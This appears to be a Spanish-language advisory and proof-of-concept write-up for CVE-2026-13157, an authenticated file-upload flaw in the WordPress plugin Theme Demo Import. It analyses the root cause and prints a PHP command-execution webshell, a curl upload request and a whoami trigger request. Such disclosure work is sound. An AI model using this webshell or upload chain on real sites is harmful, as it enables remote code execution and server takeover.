
Prueba de concepto y análisis de causa raíz para una carga arbitraria de archivos autenticada en WordPress Theme Demo Import que conduce a la ejecución remota de código mediante una webshell PHP.
CVE-2026-13157 es una vulnerabilidad autenticada de carga arbitraria de archivos que afecta al plugin de WordPress Theme Demo Import hasta la versión 1.1.3 inclusive, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La vulnerabilidad reside en la rutina AJAX de importación de demos (TDI_import_demo_data), donde el plugin deshabilita explícitamente las pruebas estándar de verificación de tipo de archivo de WordPress ('test_type' => false) durante el procesamiento de la carga. Un usuario autenticado con capacidades de importación —como un administrador de sitio predeterminado o un administrador de sitio no superadministrador en una arquitectura WordPress Multisite— puede omitir la aplicación de restricciones de archivos para cargar scripts PHP ejecutables arbitrarios directamente en el directorio público wp-content/uploads/, logrando una Ejecución Remota de Código (RCE) persistente y el compromiso total del servidor.
| Parámetro | Especificación Técnica |
|---|---|
| Identificador de Vulnerabilidad | CVE-2026-13157 |
| Software Afectado | Theme Demo Import (Plugin de WordPress) |
| Slug del Plugin | theme-demo-import |
| Versiones Afectadas | <= 1.1.3 |
| Clase de Vulnerabilidad | Carga sin restricciones de archivos con tipo peligroso (CWE-434 / OWASP A03) |
| Puntuación CVSS v3.1 | 6.6 (Media) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Descubridor / Investigador | Huynh Kien Minh (MinhHK) |
| Autoridad de Verificación | WPScan / Corporación MITRE |
| URL del Aviso de WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Portafolio del Investigador | https://minhhk.web.app/ |
La causa raíz de CVE-2026-13157 reside en la arquitectura de manejo de carga de archivos implementada en inc/class-tdi-helpers.php. Durante las operaciones de importación de datos de demostración, el plugin gestiona los archivos adjuntos entrantes a través del endpoint AJAX registrado en inc/class-tdi-main.php en la Línea 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
Al procesar los archivos de configuración de demostración cargados (content_file, widget_file y customizer_file), el método de importación interno instruye directamente a la API wp_handle_upload() de WordPress para omitir las comprobaciones de validación de tipo MIME y de formulario de los archivos:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Al pasar 'test_type' => false a $upload_overrides, el desarrollador anuló el subsistema de verificación MIME del núcleo de WordPress (wp_check_filetype_and_ext()). Como consecuencia directa, la aplicación ya no restringe los archivos adjuntos a formatos seguros de datos de demostración (.xml, .json, .wie, .dat), lo que permite a cualquier usuario autenticado con acceso a la página de ajustes cargar scripts PHP ejecutables (.php, .phtml, .phar) directamente en la raíz pública del documento.
Aviso de Investigación Ética: Esta prueba de concepto está documentada estrictamente para auditoría educativa, ingeniería defensiva y validación de seguridad autorizada. Se prohíbe la explotación no autorizada de sistemas en producción.
<= 1.1.3.import (Administrador / Administrador de Sitio Multisite).tdi-ajax-verification (expuesto en el DOM de la página como propiedad del objeto JavaScript tdi.ajax_nonce en /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Mientras que las instalaciones de WordPress de un solo sitio otorgan a los Administradores estándar un control confiable sobre el entorno del servidor, CVE-2026-13157 introduce un colapso crítico de los límites de seguridad en implementaciones Enterprise y Multisite:
unfiltered_upload está reservada únicamente para los Súper Administradores de la Red). CVE-2026-13157 destruye por completo este aislamiento multiinquilino, permitiendo que un administrador de sub-sitio no verificado coloque una web shell y ejecute comandos del sistema en toda la red de servidores.DISALLOW_FILE_EDIT). Esta vulnerabilidad elude las restricciones del hosting aprovechando el mecanismo nativo de transferencia de archivos del plugin para escribir código ejecutable arbitrario directamente en el almacenamiento de volumen escribible.